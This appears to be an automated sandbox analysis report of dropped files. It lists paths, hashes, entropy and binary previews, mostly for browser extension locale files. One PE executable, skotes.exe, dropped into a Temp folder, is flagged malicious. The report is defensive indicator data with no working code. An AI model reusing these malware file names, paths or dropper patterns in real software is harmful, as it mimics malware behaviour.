SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\10699e6d-1a93-4370-a8d7-04e310ab3c6d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\1881bb43-95dd-46cb-b8a1-8fdb072ad3fc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\4764d088-b841-457e-b1e8-cac206941ac7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1585269
Entropy (8bit):	7.993615299390522
Encrypted:	true
SSDEEP:	49152:f1ae2pdz/kxb0CfbRFeg57i5fbbSBNvbcJb7/3/NA:f1a1/anz+g5G6yVj3lA
MD5:	3DF6FFE78448BC654BA4A2EE167CD22E
SHA1:	2A540B103D378184FE189E18960F9C2A6EAE24E7
SHA-256:	8FF66A89C374CCB4721590BC3FA17835EBD22CFEDC360DD603D0EDDFFB3408AC
SHA-512:	56CFE39C71CFA5D4807802F6809DF2E9BA6C6E5332D015CD49034D64B4F0C30EF746FE40FAC15C34FA14B255A3D00E6FAC570806BB015F837FBE27364FBDC767
Malicious:	false
Preview:	.PNG........IHDR...2...2......?.....?iCCPICC Profile..H..W.XS...[.....@@J.M......B..6B. ...A...v...].Q..bG.,../.T.u.`W............9.3...{....<.$... _\(...d.JMc.......8.K..@......../..D.^q.k.....-.......q......~...DZ..Q.[L..1.@G...x..g)q..g(.n.Mb<..V..<.4...%.3..YP.....X ....../?....t.m...b.>+.....if.j.xY.X9.EQ...H.xS..t..'..a.+5[../.3......rL..G.....6..D..=.(%[....G.....3...........!..H...)..B.W.:YT.M.X........F.x./.!S.a...<....}Yn.[..:[.U.c......).[....!.C.T......Y.........[B./......LiH..,.``...l.7Z...f'.)..y...\.KB1;i@GX0r`..aP.r..3.8)A..AR.....S$y.{.\....!v+(JP....T....De.xq./<V....D....L .5.L.9@......=!... ............k.(..B$.......BP........2..E....... ...{.b.x.[2x...?..`..x.`...{~...!..bd.......`b.1..B...q?......X]p..50....'...C.5B'..xQ...(.@'..Q."..\..P....}.:T..pC...A?l..zv.,G..<+...6......LF.C..d.G.....\...e..........C............`'.s.a..0.cX........X.....+..:....x..L.8.:w;.Q...'...3A2E*...d...A...N......./...8.w..k.......c.....s......

C:\Users\user\AppData\Local\Temp\757442ad-7ea2-4030-b15f-282f2a59fa43.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsHCFBFBAEBK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3194368
Entropy (8bit):	6.6651178740243795
Encrypted:	false
SSDEEP:	98304:TH++twcidEyczTO/OQG6PHT+e8YB5+QqViOQMz1hcg:TvwcihvvH9qVvr
MD5:	4EBDDC2F0F80354C7D3FF3D8AB59F97D
SHA1:	AD56198F2CD24912EF529D0AF2A6083F2D1F55E6
SHA-256:	85501A3D5ED2F918336AFFD99EB1D15953609B2DBC16AA8F0C5B254FBD09686D
SHA-512:	8651E29161DE7D6178F8196230DDA3E618591D24D89F7B8981039FD656B680C98A2575D4D7724D43DCD34F78C71F47F62A72B1730A52AFDCDF60392E372CAC8F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................1.....C.1...@.................................W...k.............................0.............................`.0..................................................... . ............................@....rsrc...............................@....idata ............................@...vosxtpoy..........................@...nqcvauwq......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aebb9f70-5b9e-4180-9cab-fec760e7f74d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2110
Entropy (8bit):	5.4080191572870815
Encrypted:	false
SSDEEP:	48:Yzj57SnaJ57H57Uv5W1Sj5W175zuR5z+5zn071eDJk5c1903bj5jJp0gcU854RrQ:8e2Fa116uCntc5toYNVM
MD5:	86D2CEC47B6CD0BE1CB18F96EAA78E34
SHA1:	ADD772F7C6AA6AE6B05A3A90F09E77299592335F
SHA-256:	D1AAEFB94345EB38C3CC0F177C078AAD6BDFE40FE082737D3A74A274E4AD8B14
SHA-512:	18D2BB3122B6602F9E2F2EED75C9BBC4A243808EC9FBF1C25D3D6011D285578DB008CDA78B5D116EE1BF6624CDF09CAACD8B24E7D107507BEC3184751F0D190D
Malicious:	false
Preview:	{"logTime": "1004/133448", "correlationVector":"vYS73lRT+EoO2Owh9jsc+Y","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"n/KhuHPhHmYXokB31+JZz7","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"fclQx26bUZO07waFEDe6Fn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133448", "correlationVector":"0757l0tkKt37vNrdCKAm8w","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"uTRRkmbbqkgK/wPBCS4fct","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/133449", "correlationVector":"2DrXipL1ngF91RN7IemK0e","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"d0GyjEgnW85fvDIojHVIXI","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"PvfzGWRutB/kmuXUK+c8XA","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1004/134324", "correlationVector":"29CB75FBC4C942E0817A1F7A0E2CF647

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\10699e6d-1a93-4370-a8d7-04e310ab3c6d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir3580_1299173422\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
